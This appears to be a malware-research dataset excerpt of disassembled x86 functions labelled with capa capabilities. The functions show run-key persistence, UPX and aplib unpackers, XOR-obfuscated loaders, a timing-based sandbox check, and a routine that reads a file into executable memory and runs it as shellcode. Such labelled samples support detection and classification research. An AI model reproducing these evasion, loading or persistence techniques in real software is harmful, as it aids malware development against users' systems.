joyce8/EMBER2024-capa huggingface dataset:
Function at 0x3000d33b
Capabilities:
Get common file path
Persist via run registry key
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
cmp dword [ebp + 0xc], 0x1a
mov eax, dword [0x30012970]
push esi
mov dword [ebp - 4], eax
mov esi, ecx
jne 0x3000d363
and dword [0x300163b8], 0
and dword [0x300163b4], 0
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jne 0x3000d3d6
lea eax, [ebp - 0x418]
push eax
push dword [ebp + 0xc]
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x3000d3d6
push ebx
push dword [ebp - 0x418]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
test eax, eax
je 0x3000d3d6
push ebx
call fcn.3000690b
cmp word [eax], 0x5c
pop ecx
je 0x3000d3bf
cmp dword [ebp + 8], 0x7fffffff
ja 0x3000d3bf
push 0x3000135c
push dword [ebp + 8]
push ebx
call fcn.3000405a
mov eax, dword [ebp - 0x41c]
push dword [ebp - 0x418]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
jmp 0x3000d52d
cmp dword [ebp + 0xc], 0x1a
jne 0x3000d3e6
mov dword [0x300163b8], 1
test esi, esi
push edi
mov dword [0x300129d8], esi
mov edi, 0x80000001
je 0x3000d444
cmp word [esi], 0
je 0x3000d444
push dword [ebp + 8]
push ebx
push esi
push 0x30001ed8
push edi
call fcn.30006414
add esp, 0x14
test eax, eax
je 0x3000d444
push ebx
call fcn.3000690b
cmp word [eax], 0x5c
pop ecx
je 0x3000d52c
cmp dword [ebp + 8], 0x7fffffff
ja 0x3000d52c
push 0x3000135c
push dword [ebp + 8]
push ebx
call fcn.3000405a
jmp 0x3000d52c
test esi, esi
mov dword [0x300129d8], esi
je 0x3000d4ad
cmp word [esi], 0
je 0x3000d4ad
push dword [ebp + 8]
push ebx
push esi
push 0x30001e48
push edi
call fcn.30006414
add esp, 0x14
test eax, eax
je 0x3000d4ad
push 0x208
lea eax, [ebp - 0x414]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov edi, dword [ebp + 8]
mov esi, 0x7fffffff
cmp edi, esi
ja 0x3000d498
lea eax, [ebp - 0x414]
push eax
push edi
push ebx
call fcn.30002c36
push ebx
call fcn.3000690b
cmp word [eax], 0x5c
pop ecx
je 0x3000d52c
cmp edi, esi
jmp 0x3000d508
cmp dword [ebp + 0xc], 0x1a
jne 0x3000d4bd
mov dword [0x300163b4], 1
mov eax, dword [ebp + 0x14]
test eax, eax
mov dword [0x300129d8], eax
je 0x3000d515
cmp word [eax], 0
je 0x3000d515
mov esi, dword [ebp + 0x10]
test esi, esi
mov dword [0x300129d8], esi
je 0x3000d515
cmp word [esi], 0
je 0x3000d515
mov edi, dword [ebp + 8]
push eax
push edi
push ebx
call fcn.30002d80
push esi
push edi
push ebx
call fcn.300040c8
push ebx
call fcn.3000690b
cmp word [eax], 0x5c
pop ecx
je 0x3000d52c
cmp edi, 0x7fffffff
ja 0x3000d52c
push 0x3000135c
push edi
jmp 0x3000d439
cmp dword [ebp + 8], 0x7fffffff
ja 0x3000d52c
push 0x30001e20
push dword [ebp + 8]
push ebx
call fcn.30002c36
pop edi
mov ecx, dword [ebp - 4]
pop esi
call fcn.300101bf
leave
ret
Function at 0x3000f6c3
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [ebp + 0x10], 0
push ebx
mov ebx, dword [ebp + 0x18]
push edi
mov edi, dword [ebp + 0xc]
je 0x3000f6eb
push ebx
push dword [ebp + 0x14]
push edi
call fcn.30007a3e
add esp, 0xc
test eax, eax
je 0x3000f7c2
push esi
push edi
push ebx
mov esi, 0x30012c10
push esi
mov dword [ebp - 4], 7
call fcn.30002d97
add esp, 0xc
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x3000f78f
push 0
push edi
push ebx
push dword [ebp + 8]
call fcn.30002e2b
add esp, 0x10
cmp eax, 0xffffffff
mov dword [ebp + 0x10], eax
je 0x3000f779
push edi
push dword [ebp + 0x14]
call fcn.3000a2be
push edi
push ebx
push esi
push dword [ebp + 8]
push dword [ebp - 8]
push dword [ebp + 0x10]
call fcn.3000ef28
push edi
push dword [ebp + 0x14]
mov esi, eax
mov dword [ebp - 4], esi
call fcn.3000a30e
add esp, 0x28
test ebx, ebx
je 0x3000f779
test esi, esi
je 0x3000f779
cmp esi, 7
je 0x3000f779
mov eax, dword [0x30013430]
neg eax
sbb eax, eax
push 0x30
add eax, 0x351
push eax
push esi
push edi
call fcn.30006e80
add esp, 0x10
push dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
cmp dword [ebp + 0x10], 0xffffffff
je 0x3000f78f
push dword [ebp + 0x10]
call esi
push dword [ebp + 8]
call fcn.3000684a
test eax, eax
pop ecx
pop esi
je 0x3000f7ba
push 0x80
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [ebp - 4], 0
je 0x3000f7ba
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
cmp dword [ebp - 4], eax
sete al
pop edi
pop ebx
leave
ret
Function at 0x3000ffb4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push 0x30002994
push 0x80000000
call dword [entry0]
test eax, eax
jne 0x3001000a
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x300029d0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x3000fffd
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x3001000c
xor eax, eax
pop esi
leave
ret 4

Function at 0x300101bf
Capabilities:
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0x2a8]
sub esp, 0x328
mov eax, dword [0x30012970]
push edi
mov dword [ebp + 0x2a4], eax
xor eax, eax
and dword [ebp - 0x28], eax
push 0x13
pop ecx
lea edi, [ebp - 0x7c]
rep stosd dword es:[edi], eax
mov ecx, 0xb2
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x80], 0xc0000409
lea eax, [ebp + 0x2ac]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
lea eax, [ebp + 0x2ac]
mov dword [ebp - 0x28], 0x10001
mov eax, dword [eax]
mov dword [ebp + 0x90], eax
lea eax, [ebp + 0x2ac]
mov dword [ebp + 0x9c], eax
push ss
pop dword [ebp + 0xa0]
lea eax, [ebp - 0x80]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x28]
push 0
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push 0x502
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp + 0x2a4]
call fcn.300101bf
pop edi
add ebp, 0x2a8
leave
ret
cmp ecx, dword [0x30012970]
jne 0x300101c8
ret
jmp 0x300100aa
Function at 0x1a04c30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x145b000]
push edi
or ebp, 0xffffffff
jmp 0x1a04c52
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1a04c59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1a04c48
mov eax, 1
add ebx, ebx
jne 0x1a04c6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1a04c7c
jne 0x1a04c9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1a04c9b
dec eax
add ebx, ebx
jne 0x1a04c88
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1a04c60
add ebx, ebx
jne 0x1a04c97
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x1a04ced
xor ecx, ecx
sub eax, 3
jb 0x1a04cb3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1a04d22
sar eax, 1
mov ebp, eax
jmp 0x1a04cbe
add ebx, ebx
jne 0x1a04cbe
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1a04c8c
inc ecx
add ebx, ebx
jne 0x1a04ccc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1a04c8c
add ebx, ebx
jne 0x1a04cd9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1a04cce
jne 0x1a04cea
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1a04cce
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1a04d0c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1a04cfe
jmp 0x1a04c4e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1a04d0c
add edi, ecx
jmp 0x1a04c4e
pop esi
mov edi, esi
mov ecx, 0x1a8cc
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1a04d2a
cmp byte [edi], 0x79
jne 0x1a04d2a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1a04d2f
lea edi, [esi + 0x15c8000]
mov eax, dword [edi]
or eax, eax
je 0x1a04d9e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x256d9c8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x256daf8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1a04d5c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x256db00]
or eax, eax
je 0x1a04d98
mov dword [ebx], eax
add ebx, 4
jmp 0x1a04d79
call dword [esi + 0x256dafc]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1a04dcf
cmp al, 0xef
ja 0x1a04dc2
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1a04da4
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x1a04db1
mov ebp, dword [esi + 0x256db04]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1a04e03
sub esp, 0xffffff80
jmp 0x919f70
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x409420
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40942f
pop dword [ebp - 0x4c]
mov eax, 0x69c1d1e0
add eax, 0x967ec24f
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x9cfd7ea8
sub dword [ebp - 0x5c], 0x4eab395d
mov dword [ebp - 0x58], 0xe67d3391
add dword [ebp - 0x58], 0x4bb618b4
mov dword [ebp - 0x54], 0x763be3fc
add dword [ebp - 0x54], 0xd6106032
mov dword [ebp - 0x50], 0x6ff891f1
add dword [ebp - 0x50], 0x90076e0f
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x93592841
add eax, 0x6ce7a813
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x2abf89f8
add dword [ebp - 0x5c], 0x49b2df5e
mov dword [ebp - 0x58], 0x1a1fc6ba
sub dword [ebp - 0x58], 0xd8b36545
mov dword [ebp - 0x54], 0x301a5636
add dword [ebp - 0x54], 0x33551636
mov dword [ebp - 0x50], 0x8a8ea535
sub dword [ebp - 0x50], 0x8a8ea535
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x38566
push 0
call eax
mov ecx, 0x6567e147
add ecx, 0x9a9861eb
mov edi, eax
mov ebx, 0xb93fac20
sub ebx, 0xb8fdfc20
add ebx, dword [ebp - 0x4c]
mov esi, 0xf5406137
sub esi, 0x4f1d7c26
sub dword [ebp - 0x14], 0xc1075ab1
mov edx, dword [ebx]
add dword [ebp - 0x30], eax
sub edx, esi
xor dword [ebp - 0x40], 0xcc41927b
mov dword [edi], edx
sub dword [ebp - 0x14], 0x1375cef3
add edi, 0x1249859b
sub edi, 0x12498597
add ebx, 4
loop 0x40954c
add eax, 0xff9b
mov ebx, eax
add eax, 0xa5e01287
add eax, 0x5a1fed7e
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x401070
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401000
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4010a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0xc]
cmp dword [eax], 0
je 0x4010b6
mov ecx, dword [ebp + 0x10]
cmp dword [ecx], 0
jne 0x4010da
mov edx, dword [ebp + 0x10]
cmp dword [edx], 0
jne 0x4010c7
mov eax, dword [ebp + 0x10]
mov dword [eax], 0x400
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call fcn.00405666
add esp, 4
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov dword [ebp - 4], 0
mov edx, 1
test edx, edx
je 0x40117a
push 0
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
sub ecx, 1
sub ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
add eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.WS2_32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x40111c
or eax, 0xffffffff
jmp 0x40117a
cmp dword [ebp - 8], 0x2738
jne 0x40115b
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax - 1]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
shl ecx, 1
mov edx, dword [ebp + 0x10]
mov dword [edx], ecx
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
call fcn.00405671
add esp, 8
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
jmp 0x401175
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
mov edx, dword [ebp - 4]
mov byte [ecx + edx], 0
mov eax, dword [ebp - 4]
jmp 0x40117a
jmp 0x4010e1
mov esp, ebp
pop ebp
ret

Function at 0x401180
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jge 0x4011c7
push 0
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.WS2_32.dll_send
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4011bc
or eax, 0xffffffff
jmp 0x4011ca
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
jmp 0x40118d
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x401590
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x41b004]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x410], 0x41435c
lea eax, [ebp - 0x404]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0
jne 0x4015ea
push str.GetTempPath
push 0x41436c
push 0x80
push 0x414390
call fcn.00401070
add esp, 0x10
mov ecx, dword [ebp - 0x408]
lea edx, [ebp + ecx - 0x404]
push edx
push 0
mov eax, dword [ebp - 0x410]
push eax
push 0x414135
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x40162c
push str.GetTempFileName
push 0x4143ac
push 0x81
push 0x4143d0
call fcn.00401070
add esp, 0x10
lea ecx, [ebp - 0x404]
push ecx
push 0x4143dc
call fcn.00401c10
add esp, 8
push 0
push 0x100
push 4
push 0
push 0
push 0xc0000000
lea edx, [ebp - 0x404]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0
jne 0x40168a
push str.CreateFile
push str.void___cdecl_create_logfile_void_
push 0x87
push 0x414410
call fcn.00401070
add esp, 0x10
mov eax, dword [ebp - 0x40c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401f57
mov esp, ebp
pop ebp
ret
Function at 0x1001224e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x1001225d
pop dword [ebp - 0x38]
mov eax, 0x29d97317
sub eax, 0x19d850ba
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xa3a1ca06
add dword [ebp - 0x48], 0xaab07b45
mov dword [ebp - 0x44], 0x992f1c1e
add dword [ebp - 0x44], 0x99043027
mov dword [ebp - 0x40], 0xab5fbdfa
add dword [ebp - 0x40], 0xa0ec8634
mov dword [ebp - 0x3c], 0x8125c915
sub dword [ebp - 0x3c], 0x8125c915
lea eax, [ebp - 0x48]
push eax
mov eax, 0x71e9f77c
add eax, 0x9e17591c
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xbab7ca63
sub dword [ebp - 0x48], 0x4645610d
mov dword [ebp - 0x44], 0x88863bdb
sub dword [ebp - 0x44], 0x4719da66
mov dword [ebp - 0x40], 0x2302c030
sub dword [ebp - 0x40], 0xbf9353c4
mov dword [ebp - 0x3c], 0xb8aed313
add dword [ebp - 0x3c], 0x47512ced
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x39c76
push 0
call eax
mov ecx, 0x4ccf
xor esi, esi
add esi, eax
mov edx, 0x2f13eca1
sub edx, 0x1f0fd0a1
add edx, dword [ebp - 0x38]
mov ebx, 0x58cc90e4
add ebx, 0x5ecf0716
sub dword [ebp - 8], edi
mov edi, dword [edx]
xor dword [ebp - 0x14], 0xc3880230
sub edi, ebx
add dword [ebp - 0x1c], 0x92c761fc
mov dword [esi], edi
xor dword [ebp - 0x18], ebx
add esi, 0x34d60373
sub esi, 0x34d6036f
add edx, 4
loop 0x10012376
add eax, 0x4596c6ed
add eax, 0xba6a5f22
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x828058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x8281a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x82807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x82806a
add dl, dl
jne 0x828089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8280dc
xor eax, eax
add dl, dl
jne 0x828096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x82817d
add dl, dl
jne 0x8280a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8280b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8280bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8280c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8280d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x828075
mov eax, 1
add dl, dl
jne 0x8280ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8280f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8280e1
sub eax, ebx
mov ebx, 1
jne 0x828128
mov ecx, 1
add dl, dl
jne 0x82810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x828119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x828105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x828075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x82813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x82814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x828136
cmp eax, 0x7d00
jae 0x82816d
cmp eax, 0x500
jb 0x828168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x828075
cmp eax, 0x7f
ja 0x828170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x828075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x82819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x828075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x4011b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
push edi
call esi
push 0x12c
mov edi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, edi
sub eax, 0x12c
cdq
mov edi, edx
mov esi, eax
push edi
push esi
push str.v4:_d_n
call fcn.00404d77
xor esi, edi
sub esi, edi
add esp, 0xc
cmp esi, 0x64
jle 0x401201
push str.sandbox____n
call fcn.00404d77
add esp, 4
push 0
push 0x80
push 4
push 0
push 1
push 0x80000000
push 0x418224
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
lea ecx, [ebp - 4]
push ecx
push edi
push eax
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x58
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401f20
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41745b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esi + 4]
mov dword [ebp - 0x14], esi
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004044fb
push 4
mov dword [ebp - 4], 0
call fcn.00404ddf
mov edi, eax
add esp, 4
test edi, edi
je 0x401f97
push ebx
call fcn.00403f5c
mov dword [edi], eax
call fcn.00403d1b
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.00403c50
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x401f8c
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.00403c78
pop ebx
jmp 0x401f99
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x402ee0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x417548
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x44], ebx
je 0x403028
cmp byte [edi + 0x49], bl
je 0x403028
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
jne 0x402f33
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], bl
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x402f55
lea eax, [ebp - 0x2c]
mov byte [eax + 8], bl
mov dword [ebp - 4], ebx
push esi
mov eax, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x18]
mov edx, eax
cmp ebx, 0x10
jae 0x402f6e
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x10]
push ebx
push edx
push eax
lea eax, [edi + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x402fad
dec eax
je 0x402fb1
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x403010
call fcn.00402350
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov byte [edi + 0x49], 0
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp ebx, 0x10
jae 0x402fc1
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x10]
sub esi, ecx
je 0x402fea
cmp ebx, 0x10
jae 0x402fd0
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.00405f9a
add esp, 0x10
cmp esi, eax
jne 0x403008
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x49], 0
je 0x40300d
test esi, esi
jne 0x402f62
push esi
push 8
lea ecx, [ebp - 0x2c]
call fcn.00402960
jmp 0x402f5c
lea ecx, [ebp - 0x2c]
jmp 0x402f95
lea ecx, [ebp - 0x2c]
call fcn.00402350
pop esi
pop edi
mov al, 1
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
pop edi
mov al, 1
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret